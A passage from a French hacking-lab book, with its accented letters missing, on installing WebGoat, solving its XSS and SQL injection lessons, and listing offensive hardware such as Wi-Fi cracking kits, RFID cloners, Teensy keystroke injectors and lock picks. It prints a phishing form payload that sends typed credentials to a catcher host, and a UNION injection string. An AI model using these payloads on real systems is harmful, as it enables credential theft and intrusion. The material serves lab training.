Lynx nous propose alors de le tlcharger en bas de la page. Attention, aprs le tlchargement, le fichier nest pas encore enregistr sur le disque et il faudra indiquer Lynx de faire cette opration. Ce fichier doit tre copi dans le dossier /var/lib/tomcat6/webapps/ et renomm en webgoat.war. cp WebGoat-5.4.war /var/lib/tomcat6/webapps/webgoat.war Il ne reste plus qua rgler les utilisateurs dans le fichier /etc/tomacat6/tomcat-users.xml du Tomcat. Voici ce quil doit contenir : <?xml version=1.0 encoding=utf-8?> <tomcat-users> <role rolename="webgoat_basic"/> <role rolename="webgoat_admin"/> <role rolename="webgoat_user"/> <role rolename="tomcat"/> <user password="webgoat" roles="webgoat_admin" username="webgoat"/> <user password="basic" roles="webgoat_user,webgoat_basic" username="basic"/> <user password="tomcat" roles="tomcat" username="tomcat"/> <user password="guest" roles="webgoat_user" username="guest"/> </tomcat-users> Tout est prt. Nous lanons le serveur. root@WEB2:~# /etc/init.d/tomcat6 start Ladresse o se trouve WebGoat est http://votreip/webgoat/attack. Une identification est demande. Le nom dutilisateur est webgoat ainsi que son mot de passe. Une fois celle-ci faite, nous sommes face lcran suivant :
Linstallation est termine, nous pouvons passer lutilisation avec quelques exemples.
Si vous rencontrez des problmes, nous vous invitons lire le fichier README-5.4.txt ainsi qu consulter la foire aux questions dans le wiki. 3. Utilisation de WebGoat Lentranement peut commencer en cliquant sur Start WebGoat en bas de la page. Un menu latral prsente alors une grande quantit de leons. Voyons comment en solutionner quelques-unes. Commenons par la toute premire pour nous familiariser avec WebGoat. Nous allons dans le menu General puis Http Basics.
On nous indique quil faut utiliser WebScarab pour intercepter la requte. Le plus simple est de raliser ces preuves depuis une distribution BackTrack. Nous disposerons ainsi de tous les outils prinstalls. Lanons WebScarab depuis notre BackTrack. Il se trouve dans le dossier web du dossier pentest : root@bt:~# cd /pentest/web/ root@bt:/pentest/web# ls asp-auditor dirbuster htexploit plecost uniscan websecurify backdoors dotdotpwn joomscan powerfuzzer untidy webslayer beef dpscan mantra proxystrike vega wfuzz blindelephant fimap mopest scanners w3af wpscan burpsuite golismero nikto skipfish waffit xsser darkmysqli grabber owasp-zap sslstrip wapiti xssfuzz dirb grendel-scan padbuster sslyze webscarab root@bt:/pentest/web# cd webscarab/ root@bt:/pentest/web/webscarab# ls readme.txt webscarab-one-20110329-1330.jar root@bt:/pentest/web/webscarab# java -jar webscarab-one-20110329- 1330.jar No plugins found! Using WebScarab.whitelistRegex pattern : null. Will not save any data for requests not matching this pattern Help set not found 04:40:39 main(Proxy.parseListenerConfig): No proxies configured!? 04:40:39 main(SSLSocketFactoryFactory.<init>): Generating CA key 04:40:41 Listener-127.0.0.1:8008(Listener.listen): Proxy listening on 127.0.0.1:8008 Comme cest un fichier jar, nous le dmarrons avec la commande java -jar. Nous sommes alors devant WebScarab.
Pour rediriger le flux de communication entre le navigateur et le serveur, il faut rgler le proxy du navigateur pour quil coute sur la boucle locale sur le port 8008.
Ce rglage se trouve, dans Firefox, dans le menu Preferences, panneau Advanced (avanc), onglet Network (rseau) et Settings (paramtres). Nous cliquons ensuite sur le bouton GO du formulaire et interceptons les donnes avec WebScarab. Nous constatons en visualisant un POST quil existe dans len-tte un cookie et une authentification Basic.
Il nous faut modifier ces lments et rejouer le POST pour valider lpreuve. Un message saffiche nous indiquant que nous venons de valider lpreuve.
Passons une autre leon. Nous ne sommes pas obligs de les aborder dans lordre et pouvons nous entraner sur un sujet particulier que nous voulons traiter. Prenons par exemple les failles XSS (Cross-Site-Scripting) et choisissons la premire leon de cette branche : Phishing with XSS.
Ici, on nous demande dinsrer du HTML et JavaScript dans les donnes du POST et de les envoyer ladresse indique. Si nous ne comprenons pas ce quil faut faire, ou narrivons trouver la solution, nous disposons des corrections. Pour y accder, il faut cliquer sur Solution Videos puis choisir lpreuve que nous sommes en train de faire. Nous pouvons visualiser les solutions sous forme de vidos Flash et mme les tlcharger au format swf. Dans notre cas, nous voyons le code quil fallait injecter dans le formulaire sur lextrait de vido ci-aprs.
Nous choisissons dinsrer un code similaire dans notre formulaire afin de bien comprendre le mcanisme : du texte <b>bla bla</b> <br><br> Nom : <br> <input type="test" name="nom"><br> Mot de passe :<br> <input type="password" name="pass"><br> <input type="submit" value="Login" onclick="var xssImg=new Image();xssImg.src=http://192.168.2.36:8080/webgoat/catcher ?PROPERTY=yes&u=+this.form.name.value+&p=+this.form.pass.value;" du texte Nous visualisons bien notre formulaire en bas de la page, comme le montrait la correction. Nous validons un nom dutilisateur et un mot de passe quelconque. Voici ce qui se passe :
Lpreuve est rsolue. Nous allons prendre un dernier exemple mettant en uvre une injection SQL. Nous slectionnons dans le menu la leon Injection Flaws - Numeric SQL Injection. Voici lcran que nous avons en face de nous :
Sur cette preuve, on nous demande de raliser une injection. La tche est facilite car on nous donne la requte qui est envoye au serveur. Nous connaissons donc dj le nom des tables. Il faut dans un premier temps pouvoir entrer ce que nous souhaitons dans le champ prsent sous la forme dune liste droulante. Nous pourrions encore utiliser WebScarab, mais utilisons une solution moins lourde et plus simple de mise en uvre. La barre Web Developer va pouvoir nous aider, mais il existe beaucoup dautres possibilits. Nous transformons le champ de type select en un champ de type text laide du menu Forms.
Lobjectif tant de lire tous les enregistrements de la table, nous allons tenter une injection avec un union. Essayons ceci dans le champ station : 101 union select * from weather_data# Nous constatons que nous dclenchons une erreur de traitement. La fin de la requte est probablement mal forme. Changeons le caractre qui passe le reste de la requte en commentaire : 101 union select * from weather_data;-- Cette fois-ci, nous validons lpreuve.
Nous nirons pas plus loin concernant WebGoat, vous avez tout ce quil vous faut pour vous entraner, cest vous de jouer prsent. Conclusion Dans ce chapitre nous vous avons prsent quelques plates-formes dentranement. Il en existe de nombreuses ainsi que des challenges en ligne. Mais rien ne vaut des machines relles ou au moins virtuelles pour tester rellement les failles de scurit sur des systmes dinformation. Nanmoins, ces entranements nous apprennent utiliser des outils, tablir des schmas dattaques, concevoir des scripts, etc. Il est donc trs important de sinitier sur ce type de solutions dexercices sans risque. Le matriel indispensable Introduction Notre laboratoire logiciel est termin, mais le hacking nest pas que logiciel, et heureusement. Le hardware prend une part de plus en plus importante dans la scurit informatique. Cest pourquoi, si nous voulons un laboratoire complet, il nous faudra investir dans du matriel. Dans la suite, nous allons donc vous fournir une liste non exhaustive du matriel ncessaire. Wi-Fi 1. Kit en vente en Chine
Des kits sont vendus en Chine afin de cracker les cls WEP (Wired Equivalent Privacy) et de deviner les mots de passe WPA (Wi-Fi Protected Access) des rseaux Wi-Fi. En effet, au moment de lcriture de ce livre, nous ne craquons pas de cl WPA mais nous utilisons une technique qui se nomme le brute force par dictionnaire qui consiste lire laide dun script un fichier contenant une liste de mots usuels (dictionnaire), que nous testons un un pour tenter une connexion. BackTrack fournit tous les logiciels ncessaires tels que aircrack ou cowpatty pour le WPA et la distribution offre aussi de nombreux dictionnaires. Ladaptateur Wi-Fi sur cl USB est identique la cl Wi-Fi Alfa USB que nous verrons plus tard. La documentation ncessaire se trouve aisment sur Internet. Ce kit a le mrite de nous fournir tout le matriel ncessaire dj assembl, ce qui nous fait gagner beaucoup de temps. Le kit est un assemblage de matriels et de logiciels grand public, il comprend un systme dexploitation Linux dans lequel a t intgr un logiciel de cassage de cls WEP/WPA, une cl USB adaptateur Wi-Fi, le tout agrment dun manuel dutilisation et ce, pour un prix trs modique. La cl WEP est maintenant dmode et son inscurit a t maintes fois dmontre. Mais il faut savoir que beaucoup de personnes, par habitude ou inexprimentation, ont laiss leur accs en WEP. Pour sen convaincre, il suffit de faire un peu de wardriving ou de walkdriving dans une ville afin de reprer les points daccs. Cela se fait aisment avec le logiciel kismet sous Linux (donc BackTrack). Nous nous apercevrons vite que nous trouverons bien sr beaucoup de points daccs en WPA, WPA2 mais aussi en WEP, et des points daccs ouverts !
Le war (wireless access research) consiste rechercher dune manire ou dune autre (en marchant : walking, en conduisant : driving ou autre) des accs des matriels wireless. Il faut aussi se dire que nous raisonnons en tant que citoyens dans un pays dit industrialis, mais si nous nous promenons dans dautres pays, nous nous apercevons vite que certaines technologies anciennes sont encore trs prsentes. 2. PirateBox
Les PirateBox sont lorigine destines changer librement des donnes du domaine public ou sous licence libre. Nous pouvons trouver sur Internet plusieurs vidos qui expliquent comment fabriquer sa PirateBox pour moins de 100 euros. Le but est davoir un rseau temporaire de partage de fichiers. Lide est signe par David Darts. Il suffit de prendre un routeur sans fil, un serveur Linux et un code mis disposition sous une Free Art License (FAL 1.3) ; comprenez que linvention peut tre copie, diffuse, modifie gratuitement selon le principe du copyleft. Facile utiliser, PirateBox permet, une fois allume, dutiliser un rseau Wi-Fi ouvert et de le transformer en un espace de partage de fichiers. Les utilisateurs peuvent joindre le rseau PirateBox ouvert partir de tout appareil compatible Wi-Fi. Plusieurs projets pdagogiques les utilisent pour offrir des contenus des lves ou des tudiants et leur permettre dchanger par chat ou forum. Dailleurs, beaucoup de personnes telles que Damien Bancal du clbre site ZATAZ.com se promnent constamment avec elle, et ce, dans tous les pays. Mais la PirateBox est aussi utilise dans des lieux o linstallation dInternet est quasi impossible. Il existe dailleurs un projet visant fournir des villages dAfrique de quoi changer des donnes mais aussi stocker des informations comme une bibliothque, des ouvrages de mdecine ou des manuels scolaires. la base un projet comme tant dautres, la PirateBox a eu un trs fort engouement sur les rseaux sociaux (#PirateBox), relay par des comptes influents et par la presse (Voix du Nord, Numerama, Toms Guide, Zataz, etc.) ainsi que par toute une longue srie de blogs. Sa technologie est en constante volution et avec les nouveaux matriels qui arrivent sur le march tels que le RaspberryPI, avec encore plus de mmoire, de puissance et de possibilit dextension, son utilisation ne sera que croissante. Un autre usage envisag consiste fournir un quartier puis une ville un rseau parallle permettant aux habitants dchanger des informations comme la date dune runion de quartier, celle de la prochaine brocante, ou celle dun vnement quelconque. La PirateBox permet aussi de discuter en temps rel via son service de messagerie instantane. Nous pouvons rencontrer ce dernier cas dans de nombreuses rsidences dtudiants. Lutilisateur se connecte en Wi-Fi la PirateBox sans avoir renseigner un mot de passe (mais il est tout fait possible den mettre un), et peut ensuite tlcharger ou dposer des fichiers. Nous navons plus aucun moyen de dtection distant (il faut tre dans lenvironnement proche de la PirateBox, si celle-ci bien sr nest pas relie Internet). Nous pouvons aussi poster des messages sur le forum (disponible directement sans autre configuration) ou utiliser le systme de messagerie instantane disponible. Cest donc un outil trs utilis et utile pour ltudier ou en fabriquer avec dautres matriels par exemple. 3. Wifi-Box
La Wifi-Box est en fait une carte Wi-Fi USB quipe dune puce Realtek 8187 qui possde une porte de rception 10 fois suprieure celle dune carte Wi-Fi standard (selon le constructeur), qui couvre 2,4 GHz et qui respecte la norme 802.11g3. Comme pour le kit dcrit plus haut, cest un matriel de type Alfa qui est interdit en France (si la puissance est suprieure 500 mW). Il faut brancher la box sur le port USB du PC et booter avec le CD dutilitaires fourni pour cracker du WEP. Le CD est en fait une BackTrack 3 bootable sur laquelle le fabricant a intgr doffice le module Spoonwep2. Ce module nest rien dautre quun frontend aircrack dont nous avons parl plus haut. Il existe aussi Spoonwpa2 pour le WPA qui permet de trouver une cl via une attaque par brute force ou dictionnaire mais il semblerait que la Wifi-Box ne fonctionne pas pour cela ainsi que pour du WPA-PSK ou WPA2.
4. Routeur Wi-Fi
Nous aurons aussi besoin dun routeur Wi-Fi. Nous conseillons un routeur Linksys avec DD- WRT. DD-WRT est un firmware alternatif open source bas sur Linux et adapt une grande varit de routeurs WLAN et de systmes embarqus. Le principal atout est de fournir la manipulation la plus simple possible tout en ayant en mme temps un grand nombre de fonctionnalits. Linterface utilisateur graphique est logiquement structure, et elle est exploite via un navigateur web standard, de sorte que mme les non-techniciens peuvent configurer le systme en quelques tapes simples. Outre le maniement simple, la vitesse et la stabilit font galement partie de lobjectif du travail de dveloppement. Par rapport au logiciel prinstall sur de nombreux routeurs WLAN, DD-WRT permet un fonctionnement fiable avec une fonctionnalit nettement plus importante que demandent galement les exigences de dploiement professionnel. La communaut dutilisateurs offre du soutien aux dveloppeurs DD-WRT ainsi que les utilisateurs eux-mmes de diffrentes manires. Les failles potentielles dans le systme peuvent tre dtectes trs rapidement et peuvent donc tre corriges sans dlai. Les utilisateurs DD-WRT peuvent trouver de laide et des conseils dautres utilisateurs sur les forums dutilisateurs et le Wiki contient des informations supplmentaires et des guides pratiques, il est maintenu par la communaut DD-WRT. Pour les appareils utiliss principalement des fins prives, DD-WRT est disponible gratuitement. Les plates-formes utilises des fins commerciales ncessitent une licence payante. Par rapport la version librement disponible, la version professionnelle permet galement de configurer les paramtres sans fil, ouvrant ainsi la possibilit de crer par exemple des infrastructures de rseau fiables et performantes. Des exigences particulires peuvent tre satisfaites par des versions spcialement adaptes de DD-WRT. Principales caractristiques : Prise en charge de plus de 200 appareils diffrents. Fonctionnalits compltes. Prise en charge de tous les standards WLAN actuels (802.11a/b/g/n ). Intgration VPN. Prise en charge de divers systmes de Hotspot. Gestion de la bande passante. Interface utilisateur multilingue. DD-WRT jusqu la version v22 tait fonde sur le micrologiciel Alchemy de Sveasoft, qui lui-mme tait fond sur la version originale du micrologiciel Linksys. DD-WRT depuis la version v23 a t presque intgralement rcrit. 5. Wi-Fi Alfa USB
Une premire version de lAlpha, lAlpha 500 de la socit Alpha Network, est sortie en 2007 et tait bride 500 mW. En 2009, une nouvelle version avec une puissance de 1000 mW (soit 30 db) et une sensibilit de -99 dBm a vu le jour, lAlpha Network Awus036h. La sensibilit est le choix vident pour les pirates Wi-Fi. Elle supporte le 802.11 b/g/n et embarque un chipset Atheros AR9271, un chipset aliment par USB, et offre trois modes sans fil (manage, adhoc, monitor). Reconnue par les systmes dexploitation rcents (y compris BackTrack 5 R1), elle peut aussi tre utilise dans une machine virtuelle en passant bien sr par lUSB. Depuis la version de firmware 2.2.0, elle peut tre utilise pour les attaques deauth (attaque qui dsauthentifie les personnes connectes) et bien plus encore. Elle est parfaite pour une utilisation avec la suite aircrack-ng, les modules sans fil Metasploit, kismet et dautres utilitaires de pentesting. Spcifications matrielles : Atheros chipset 9271 802.11 b/g/n 150 Mbps canaux de 2,400 2,487 GHz 1-14 28 dBm txpower RFID 1. Distribution Linux Nous retrouvons de nos jours les technologies RFID (Radio-Frequency IDentification) un peu partout dans notre quotidien. Le gros inconvnient pour le moment est le manque de scurit, non pas de la technologie, mais de lutilisation que lon en fait ou de la manire de lexploiter. Nos badges daccs, les antivols dans les magasins, les passeports, les puces didentification de nos animaux domestiques, les jouets, entre autres, utilisent le RFID. Un groupe de dveloppeurs a donc dcid de crer une distribution bootable base de Fedora, la RFID Live Hacking System . Disponible sous la forme dun fichier ISO de 663 Mo, la distribution est capable de fonctionner depuis un CD et ncessite un processeur x86-64 (attention donc aux anciens systmes). Elle intgre quelques outils pour rcuprer des informations sur des priphriques RFID, avec bien videmment laide dun lecteur adapt ; nous pouvons en trouver partir dune vingtaine deuros. Nous trouvons aussi des outils pour lire et rcuprer des informations dans les cartes de type Mifare , utilises par exemple dans les htels, dans certains rseaux de transports en commun, etc.
Il faudra bien sr acheter le matriel correspondant que nous allons voir par la suite mais nous pouvons fabriquer nous-mmes des lecteurs.
Exemple de schma de circuit lectronique trouv sur le Net
Schma de circuit lectronique normalis Lhomme est aussi depuis quelques annes implant . Dans certains pays, la loi lautorise et rcemment une universit amricaine a impos pour ses tudiants limplant RFID pour une question de scurit . Dautres utilisations en sont faites sur lhomme : Le contrle daccs pour les militaires. Le suivi des malades mentaux. Le paiement rapide dans les bars. Linjection de limplant se fait principalement dans la main (paiement) ou dans le bras. Le RFID est donc partout et se dveloppe normment. 2. Nabaztag Si nous souhaitons avoir du matriel RFID bon march, nous allons nous diriger vers les jouets comme le Nabaztag. Le Nabaztag (mot armnien pouvant tre traduit par livre ) est un objet communicant reprsentant un lapin. Il est lanc en juin 2005 puis en 2006, il sort dans sa version avance : le Nabaztag:tag. Nous pouvons nous le procurer bien sr sur le site officiel mais aussi sur un site de vente aux enchres. Il est fourni avec un lecteur dans le lapin et avec des tags.
Un tag RFID est une balise mtallique contenant des informations (allant dun identifiant des donnes personnelles).
3. Proxmark3 Lidal est dacqurir le proxmark3, un outil qui permet de lire, dcrire, de sniffer et de copier des cartes RFID. Le proxmark3 est un outil RFID formidable, dune taille trs raisonnable. Nous pourrons nous amuser avec les frquences de 125 kHz et 13.56 MHz.
Il est possible avec ce matriel de cloner des cartes RFID, cest--dire, partir dune carte du commerce, den refaire une sur une carte vierge. Nous pourrons aussi lire les puces RFID, les crire, tudier le contenu des tags De nombreuses possibilits soffrent nous et de nombreux tutoriaux et vidos en parlent. Des confrences sont aussi ddies ce matriel comme au hacknowledge-contest Europe Afrique (http://www.hacknowledge-contest.org) o Sbastien Lasson de lassociation ACISSI fait un tour des cartes puce et RFID pour terminer par lutilisation du proxmark, ce dernier tant un thme du laboratoire Recherche et Dveloppement de lassociation. 4. Lecteur de cartes RFID 125 KHz Moins coteux que le proxmark, ce lecteur qui ne travaille que sur une frquence de 125 KHz. Nous pouvons lire sur le site du revendeur : le lecteur lectronique RFID 125 KHz est un module utilis pour lire des informations uem4100 avec deux formats de sortie : UART et Wiegand. Il a une sensibilit leve avec une distance maximum de dtection de 7 cm. Les quatre pins de linterface lectronique le rendent facile utiliser avec un Arduino ou un teensy. Format de sortie slectionnable : Uart ou Wiegand Quatre interfaces Haute sensibilit Caractristiques principales : Tension dalimentation : 5 V Distance maximale de dtection : 7 cm UART de sortie : sortie TTL, 9600 baudrate, 8 bits de donnes, 1 bit darrt, pas de bits de vrification. Sortie Wiegand : 26 bits au format Wiegand, 1 bit de vrification, 24 bits de donnes et 1 bit de parit.
5. Fabriquer soi-mme Il est toujours possible de tout fabriquer soi-mme ; Elektor fournit par exemple de bons montages. Sur le site suivant, nous retrouvons la dmarche complte de fabrication dun lecteur RFID avec fabrication des antennes : http://78.229.172.208/ELEKTOR/RFID_EXPERIMENTAL.html
Bluetooth Une autre manire de communiquer sans fil est bien sr le Bluetooth. Nos ordinateurs, nos smartphones, nos GPS et autres utilisent le Bluetooth. Mais il est rare que par dfaut le matriel soit trs puissant. Il existe heureusement beaucoup de matriels Bluetooth disponibles sur la toile. 1. Adaptateur Bluetooth Si vous ne disposez pas de Bluetooth intgr, il existe de nombreuses cls USB Bluetooth. Voici ci-dessous un exemple parmi tant dautres.
2. Ubertooth Le Ubertooth One est un projet open source dune plate-forme de dveloppement sans fil 2,4 GHz pour ltude du Bluetooth de Michael Ossmann. Il sagit du premier contrleur Bluetooth abordable par tout un chacun qui peut tre utilis pour la surveillance de connexions Bluetooth et pour le dveloppement de nouvelles technologies Bluetooth et sans fil. Bas sur le microcontrleur LPC175x ARM Cortex-M3 avec un USB full-speed USB 2.0, lUbertooth One est le meilleur moyen de dvelopper des priphriques Bluetooth Class 1 customiss, et l aussi cest du hacking. Il possde un connecteur USB-A et un connecteur RP-SMA. Rien dquivalent na jamais t commercialis comme matriel Bluetooth de hacking avant Ubertooth One, une plate-forme entirement open source (matriel et logiciel). Les schmas et codes sources sont disponibles pour tous nos besoins en hacking
3. Transmetteur Bluetooth Le AIRcable Host XR de Wireless Cables, amplificateur de signal, peut atteindre une porte de 30 km sil est install par un professionnel, grce une antenne directionnelle 18 dBi. Tout ce que nous avons faire, cest de brancher le AIRcable Host XR un port USB dun ordinateur et cest prt. Il est compatible avec Linux, Mac et Windows, et il supporte pratiquement tous les profils Bluetooth disponibles. Comme le AIRcable Host XR est aliment par bus, il ny a pas besoin dun adaptateur secteur.
Nous pouvons aisment voir les possibilits dexploitation de ce matriel, nous pourrions en thorie distance rcuprer les signaux des oreillettes Bluetooth, des smartphones, des PC...
Cartes puce Les cartes bancaires ne sont pas scurises, cest bien connu. Il suffit de rechercher sur Internet et nous trouvons les failles dcouvertes sur cette technologie. Par exemple, une tude mene par luniversit de Cambridge dmontre la faiblesse de celles- ci : http://www.numerama.com/magazine/17684-cambridge-refuse-de-censurer-une-these-sur- l-insecurite-des-cartes-bancaires.html
Nous pouvons aussi nous reporter ltude de Renaud Lifchitz sur les failles RFID des nouvelles cartes bancaires : http://www.pcinpact.com/news/70412-cartes-paiement-sans- contact-defaut-securisation.htm Nous aurons donc besoin aussi de matriel... 1. Lecteur de cartes puce Les lecteurs de cartes puce en vente sur le web sont multiples et les prix varient en fonction du fabricant et de la technologie. Mais on peut pour un prix trs raisonnable se procurer un lecteur. Tous les lecteurs de cartes puce sont capables dcrire dans les cartes puce, pour peu que ces dernires lautorisent.
Si nous utilisons des cartes vierges telles que les cartes Gold, Silver, Fun ou Jupiter, il nous faut un programmateur qui va programmer le microcontrleur de la carte et/ou sa mmoire EEPROM, au moins pendant la phase de dveloppement de notre application. Une fois cette carte programme, et si nous avons crit un programme compatible des normes ISO 7816 3 et 4, un lecteur classique pourra ensuite tre utilis pour lire et crire dans notre carte. Si nous utilisons des cartes personnalisables comme les cartes ACOS 1 ou 2 ou encore des cartes puce OS ouvert comme la Basic Card que nous verrons dans la section suivante, un lecteur classique suffit. Le programmateur nest ncessaire que pour les cartes initialement vierges car elles ne peuvent pas dialoguer avec quoi que ce soit dans cet tat. 2. Basic Card La Basic Card est une carte OS ouvert, cest--dire quelle contient un microcontrleur programm avec un interprteur de P code. Ce qui est plus original, cest que ce P code provient du rsultat de la compilation par loutil de dveloppement dun programme crit en Basic. Le Basic se rapproche plus du C que du GWBasic des premiers PC. Cest cette simplicit de programmation qui fait une partie de lintrt de la Basic Card. En effet, si nous savons ce quest une carte puce, il ne nous faudra que quelques heures pour arriver dvelopper une application oprationnelle. De trs bons livres dont ceux de Patrick Gueule expliquent en dtail le fonctionnement des cartes puce et expliquent la programmation grce Basic des cartes puce. Autre intrt majeur de cette approche : loutil de dveloppement ncessaire est totalement gratuit. Il peut tre librement tlcharg sur le site Internet spcialement consacr la Basic Card, ladresse www.basiccard.com Nous pouvons utiliser le langage Basic que ce soit pour programmer la carte ou aussi pour dvelopper lapplication du ct terminal qui utilisera la carte. Il nest donc pas ncessaire dapprendre ou dutiliser un nouveau langage pour programmer lapplication ct lecteur. Enfin, loutil de dveloppement intgre un simulateur de carte qui nous permet, sans possder le moindre lecteur ni la moindre carte, de tester notre application. La rubrique tutoriels du site nous prsente dailleurs quelques exemples dutilisation de ce remarquable outil.
Pour nous donner une ide de la structure dun programme, voici un petit exemple : DefByte I-R toute variable commenant par une lettre de I R est de type Byte Private Iter type Byte Public Radius! = 1 type Single, affectation avec conversion Public Pistr$ = "3.1416" Public Pi As Single = Val!(Pistr$) Eeprom S1 As String*5 = "ABC" complt avec des octets NULL Public S2 As String*3 = &H81, &H82, &H83 Private S3 As String*7 = 3, 4, "XYZ" = 3, 4, 88, 89, 90, 0, 0 Eeprom CustomerName$ = "" Eeprom Balance& = 500 For J=1 to 8 Do J=J+1 J est declare implicitement et est de type Byte Cartes magntiques Les cartes magntiques sont aussi trs rpandues et encore trs utilises, surtout dans dautres pays que la France. Une carte bande magntique est une carte capable de stocker des donnes en modifiant le magntisme de minuscules particules base de fer sur une bande de matriau sur la carte. Nous avions il y a encore quelques annes des cassettes bandes que nous mettions dans notre poste radio ou notre walkman, mot qui pour les moins de 30 ans ne doit plus rien dire (disons une sorte de lecteur mp3 mais bande magntique). La bande magntique de la carte, parfois appele piste magntique, est lue par une tte de lecture magntique. Nous pouvons dailleurs crer un lecteur de cartes magntiques grce des lecteurs de cassettes que nous pouvons encore trouver sur des sites denchres ou dans les brocantes pour quelques euros. Les schmas de montages et explications se trouvent sur le web facilement. Linvention date de la seconde guerre mondiale pour lenregistrement audio. Dans les annes 1950, lenregistrement magntique des donnes informatiques numriques sur bande de plastique recouverte doxyde de fer a t invent. En 1960, IBM a utilis la bande magntique afin de dvelopper un moyen fiable dobtenir des bandes magntiques sur des cartes plastiques, en vertu dun contrat avec le gouvernement amricain pour un systme de scurit. Beaucoup de normes ont t dites afin de standardiser lutilisation de ces cartes. Tout y est dfini : Les proprits physiques de la carte. La taille. La flexibilit. Lemplacement de la piste magntique. Les caractristiques magntiques des formats de donnes. Les organismes de normalisation fournissent galement des normes pour les cartes financires, y compris la rpartition des plages de numros de carte entre diffrents instituts dmission.
Autres matriels Dautres matriels vont nous tre trs utiles car ils sont programmables souhait. Nous pourrons avec eux simuler un clavier sur un port USB, effectuer des brutes forces automatiques, fabriquer des pirates box. 1. Arduino Sur le site Arduino, http://www.arduino.cc/, nous pouvons lire : Le systme Arduino est un outil pour fabriquer de petits ordinateurs qui peuvent capter et contrler davantage de choses du monde matriel que votre ordinateur de bureau. Cest une plate-forme open source dlectronique programme qui est base sur une simple carte microcontrleur (de la famille AVR), et un logiciel, vritable environnement de dveloppement intgr, pour crire, compiler et transfrer le programme vers la carte microcontrleur. Arduino peut tre utilis pour dvelopper des objets interactifs, pouvant recevoir des entres dune grande varit dinterrupteurs ou de capteurs, et pouvant contrler une grande varit de lumires, moteurs ou toutes autres sorties matrielles. Les projets Arduino peuvent tre autonomes, ou bien ils peuvent communiquer avec des logiciels tournant sur votre ordinateur (tels que Flash, Processing ou MaxMSP). Les cartes lectroniques peuvent tre fabriques manuellement ou bien tre achetes prassembles ; le logiciel de dveloppement open source peut tre tlcharg gratuitement. Le langage de programmation Arduino est une implmentation de Wiring, une plate-forme de dveloppement similaire, qui est base sur lenvironnement multimdia de programmation Processing.
LArduino est assez simple de prise en main. Sa programmation est un pseudolangage C. Lexemple suivant nous montre la structure dun programme. void setup() { Serial.begin(9600); // initialise la communication srie // vrifier que le dbit utilis est le mme dans le terminal srie }
void loop() { int sensorValue = analogRead(A0); // lit la valeur analogique // sur la broche A0 et met le rsultat dans la variable
Serial.println(sensorValue, DEC); // affiche la variable dans le terminal srie
} Nous voyons quil ny a rien de trs compliqu. LArduino est par exemple utilis dans la fabrication dune imprimante 3D, dans des robots comme la coupe de robotique diffuse par E=M6 il y a quelques annes et dans bien dautres applications. 2. Teensy Le Teensy est un des premiers matriels low cost comportant un processeur qui nous a permis nos premiers hacks hardwares. Il est aussi utilis dans certains hacks de consoles de jeux par exemple. Le Teensy est un stick sur une base dAVR AT90USB1286 de Atmel, peine plus grand quune Arduino pro mini, et programmable avec lIDE Arduino. Nous pouvons acheter un botier qui le fera ressembler une cl USB et qui le rendra donc beaucoup moins visible pour des utilisations en socit. Il a la particularit davoir un port USB hardware (device only) compatible avec la librairie LUFA. Le Teensy est programmable soit avec lIDE Arduino, soit avec le langage C pur . Une des ides que nous avions eues tait de tester les bornes de dveloppement photo places surtout dans les grandes surfaces. Nous avions donc programm le Teensy en clavier USB qui ouvrait le menu Dmarrer et qui lanait la console DOS. Ensuite nous faisions un ipconfig /all puis un ping sur une adresse interne pour finir par un ping sur une adresse externe. Et tout cela en mode automatique. Voici un exemple de programme : // press and hold CTRL Keyboard.set_modifier(MODIFIERKEY_CTRL); Keyboard.send_now();
// press ALT while still holding CTRL Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_ALT); Keyboard.send_now();
// press DELETE, while CLTR and ALT still held Keyboard.set_key1(KEY_DELETE); Keyboard.send_now();
// release all the keys at the same instant Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now();
Lock picking Daprs Wikipdia : Le crochetage est une technique douverture de serrure dite fine . Cela signifie quelle permet douvrir la serrure laide doutils spcifiques appels crochets ou parapluies sans dtruire la serrure. Le crochetage inclut louverture de tous les types de serrures, y compris cls magntiques ou lectroniques. Pourquoi cela ici ? Parce que le lock picking ou crochetage fait partie du hacking et de larsenal du pirate. Il sen sert pour arriver physiquement face lordinateur cible. Le kit de lockpicking est totalement interdit en France sauf pour les serruriers. Mais pour une utilisation en laboratoire, sans jamais le sortir et voyager avec, il permet dtudier ces techniques et dessayer bien sr de trouver des contre-mesures.
Carte SIM Avec le lecteur de cartes SIM, nous pouvons facilement grer les donnes de lannuaire de notre carte SIM GSM et rgulirement crer une copie de sauvegarde des donnes en cas de perte ou de mise niveau du tlphone. Le lecteur de cartes SIM est un lecteur USB de gestion des cartes SIM pour tlphones portables, galement compatible avec les cartes UMTS USIM de la troisime gnration de la tlphonie mobile. Il fait galement office de lecteur de cartes puce compatible PC/SC (Personal Computer/Smart Card) pour les applications de scurit PC, compatible avec tous les types de cartes puce aujourdhui disponibles sur le march.
Rcupration de donnes Il est aussi ncessaire de pouvoir effectuer des rcuprations de donnes. 1. Adaptateur USB vers SATA et IDE Nous aurons souvent besoin de rcuprer rapidement les donnes dun disque dur via lUSB. Il existe pour cela des adaptateurs peu coteux.
2. Bloqueur dcriture Un bloqueur est un priphrique informatique permettant un ordinateur de consulter le contenu dun support numrique (disque dur, carte mmoire...) sans en modifier le contenu. Sur le site http://www.ibou.fr/forensic/page6/page6.html, nous pouvons par exemple trouver le UF2PSATA22. Le UF2PSATA22, par exemple, est un bloqueur externe USB 2 et FireWire 400 (ct PC danalyse) pour disques durs SATA et ATA 3,5". Ce bloqueur dispose dun commutateur pour activer la fonction lecture/criture ou lecture seule. Pratique pour analyser le contenu dun disque sans avoir le retirer de la machine.
3. Bus Pirate Bus Pirate est un outil faisant communiquer nimporte quel priphrique avec un ordinateur, via la plupart des protocoles standard incluant I2C, SPI et UART, une tension comprise entre 0 et 5,5V DC. Il est particulirement utile dans les phases de prototypage, de dpannage ou lors dutilisation de matriels inconnus. Cest pourquoi il va nous tre trs utile pour faire du reverse engineering, pour dterminer le protocole de communication entre deux matriels ou pour surveiller un dialogue. La version 4 est la dernire gnration de carte Bus Pirate. Encore au stade exprimental, elle nest pas aussi stable que les versions prcdentes. La version Bus Pirate V3, moins chre, plus stable et aux fonctionnalits gnrales similaires, est recommande pour les nouveaux utilisateurs.
